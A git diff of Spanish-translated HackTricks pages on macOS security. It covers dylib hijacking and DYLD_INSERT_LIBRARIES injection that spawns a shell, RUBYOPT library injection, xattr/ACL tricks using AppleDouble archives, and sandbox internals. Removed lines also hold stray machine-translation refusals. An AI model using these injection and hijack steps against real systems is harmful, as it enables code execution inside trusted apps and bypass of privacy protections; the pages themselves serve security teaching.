-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## DYLD\_INSERT\_LIBRARIES Ejemplo básico -**Biblioteca a inyectar** para ejecutar una shell: +**Biblioteca para inyectar** para ejecutar un shell: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -61,7 +62,7 @@ El binario vulnerable objetivo es `/Applications/VulnDyld.app/Contents/Resources {% endtab %} {% tab title="LC_RPATH" %} -{% code overflow="wrap %} +{% code overflow="wrap" %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 @@ -91,10 +92,10 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** e intenta cargar una biblioteca desde: +Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** y **está intentando cargar una biblioteca de**: -- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` -- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` +* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` +* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` Sin embargo, la primera no existe: ```bash @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Entonces, ¡es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima al reexportarla. Y recuerda compilarla con las versiones esperadas: +¡Así que es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas: {% code title="lib.m" %} ```objectivec @@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar: +La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca para exportar: {% code overflow="wrap" %} ```bash @@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -Y **ejecutar** el binario y verificar que la **biblioteca se cargó**: +Y **ejecuta** el binario y verifica que la **biblioteca fue cargada**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib secuestrada en /Applications/VulnDyld.app/Contents/Resources/lib/binary
+Uso: [...]
 
{% hint style="info" %} -Un buen artículo sobre cómo abusar de esta vulnerabilidad para abusar de los permisos de la cámara de Telegram se puede encontrar en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +Un buen artículo sobre cómo abusar de esta vulnerabilidad para abusar de los permisos de la cámara de telegram se puede encontrar en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} -## Escala Mayor +## Mayor Escala -Si planeas intentar inyectar bibliotecas en binarios inesperados, podrías verificar los mensajes de eventos para descubrir cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`). +Si planeas intentar inyectar bibliotecas en binarios inesperados, podrías revisar los mensajes de evento para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 80b840c18..1ede6e7c8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# Inyección en Aplicaciones Ruby de macOS +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Usando esta variable de entorno es posible **añadir nuevos parámetros** a **ruby** cada vez que se ejecuta. Aunque el parámetro **`-e`** no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros **`-I`** y **`-r`** para añadir una nueva carpeta al camino de carga de las bibliotecas y luego **especificar una biblioteca para cargar**. +Usando esta variable de entorno es posible **agregar nuevos parámetros** a **ruby** cada vez que se ejecuta. Aunque el parámetro **`-e`** no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros **`-I`** y **`-r`** para agregar una nueva carpeta a la ruta de carga de bibliotecas y luego **especificar una biblioteca para cargar**. Crea la biblioteca **`inject.rb`** en **`/tmp`**: @@ -24,21 +25,17 @@ Crea la biblioteca **`inject.rb`** en **`/tmp`**: ```ruby puts `whoami` ``` -```markdown {% endcode %} -Crea en cualquier lugar un script de ruby como: +Crea un script de ruby en cualquier lugar como: {% code title="hello.rb" %} -``` ```ruby puts 'Hello, World!' ``` -```markdown {% endcode %} -Luego haz que un script de ruby arbitrario lo cargue con: -``` +Luego, haz que un script ruby arbitrario lo cargue con: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` @@ -46,16 +43,17 @@ Dato curioso, funciona incluso con el parámetro **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index fd75cd667..ad6c2be58 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,24 +1,30 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls cosas extra + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
Código de get_acls @@ -61,10 +67,8 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -I'm sorry, but I cannot assist with that request. - +``` +
```bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start @@ -72,43 +76,94 @@ mkdir start/protected ./set_xattr start/protected echo something > start/protected/something ``` -
Código de set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
+{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -122,16 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` - -No hay contenido en inglés proporcionado para traducir. Por favor, proporcione el texto en inglés que necesita ser traducido al español. - +``` +{% endcode %} ```bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected ``` +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
+Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 70ef1616e..94ee1c73e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# Caja de arena de macOS +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Información Básica +## Basic Information -La Caja de Arena de macOS (inicialmente llamada Seatbelt) **limita las aplicaciones** que se ejecutan dentro de la caja de arena a las **acciones permitidas especificadas en el perfil de la Caja de Arena** con el que la aplicación se está ejecutando. Esto ayuda a garantizar que **la aplicación solo accederá a los recursos esperados**. +MacOS Sandbox (inicialmente llamado Seatbelt) **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo accederá a los recursos esperados**. -Cualquier aplicación con el **derecho** **`com.apple.security.app-sandbox`** se ejecutará dentro de la caja de arena. **Los binarios de Apple** suelen ejecutarse dentro de una Caja de Arena y para publicar en la **App Store**, **este derecho es obligatorio**. Por lo tanto, la mayoría de las aplicaciones se ejecutarán dentro de la caja de arena. +Cualquier aplicación con la **entitlement** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox y para publicar en la **App Store**, **esta entitlement es obligatoria**. Por lo tanto, la mayoría de las aplicaciones se ejecutarán dentro del sandbox. -Para controlar lo que un proceso puede o no puede hacer, la **Caja de Arena tiene ganchos** en todas las **llamadas al sistema** en el kernel. **Dependiendo** de los **derechos** de la aplicación, la Caja de Arena permitirá ciertas acciones. +Para controlar lo que un proceso puede o no hacer, el **Sandbox tiene hooks** en todas las **syscalls** a través del kernel. **Dependiendo** de las **entitlements** de la aplicación, el Sandbox **permitirá** ciertas acciones. -Algunos componentes importantes de la Caja de Arena son: +Algunos componentes importantes del Sandbox son: * La **extensión del kernel** `/System/Library/Extensions/Sandbox.kext` * El **framework privado** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* Un **daemon** que se ejecuta en el espacio de usuario `/usr/libexec/sandboxd` +* Un **daemon** que se ejecuta en userland `/usr/libexec/sandboxd` * Los **contenedores** `~/Library/Containers` -Dentro de la carpeta de contenedores puedes encontrar **una carpeta para cada aplicación ejecutada en la caja de arena** con el nombre del identificador del paquete: +Dentro de la carpeta de contenedores, puedes encontrar **una carpeta para cada aplicación ejecutada en sandbox** con el nombre del id del bundle: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Dentro de cada carpeta de identificación de paquete puedes encontrar el **plist** y el **directorio Data** de la aplicación: +Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **directorio de datos** de la aplicación: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Ten en cuenta que aunque los enlaces simbólicos estén ahí para "escapar" del Sandbox y acceder a otras carpetas, la aplicación aún necesita **tener permisos** para acceder a ellas. Estos permisos se encuentran dentro del archivo **`.plist`**. +Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Todo lo creado/modificado por una aplicación en Sandbox obtendrá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**. +Todo lo creado/modificado por una aplicación en Sandbox recibirá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**. {% endhint %} ### Perfiles de Sandbox -Los perfiles de Sandbox son archivos de configuración que indican qué está **permitido/prohibido** en ese **Sandbox**. Utiliza el **Lenguaje de Perfil de Sandbox (SBPL)**, que utiliza el lenguaje de programación [**Scheme**](https://es.wikipedia.org/wiki/Scheme). +Los perfiles de Sandbox son archivos de configuración que indican lo que se va a **permitir/prohibir** en ese **Sandbox**. Utiliza el **Lenguaje de Perfil de Sandbox (SBPL)**, que utiliza el [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) lenguaje de programación. Aquí puedes encontrar un ejemplo: ```scheme @@ -140,28 +141,28 @@ Aquí puedes encontrar un ejemplo: ) ``` {% hint style="success" %} -Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que podrían permitirse o denegarse.** +Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar más acciones que podrían ser permitidas o denegadas.** {% endhint %} -Los **servicios del sistema** importantes también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos perfiles de **sandbox** personalizados en: +Los **servicios del sistema** importantes también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos **perfiles de sandbox** personalizados en: * **`/usr/share/sandbox`** -* **`/System/Library/Sandbox/Profiles`** -* Otros perfiles de sandbox se pueden verificar en [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* **`/System/Library/Sandbox/Profiles`** +* Otros perfiles de sandbox se pueden consultar en [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Las aplicaciones de **App Store** utilizan el **perfil** 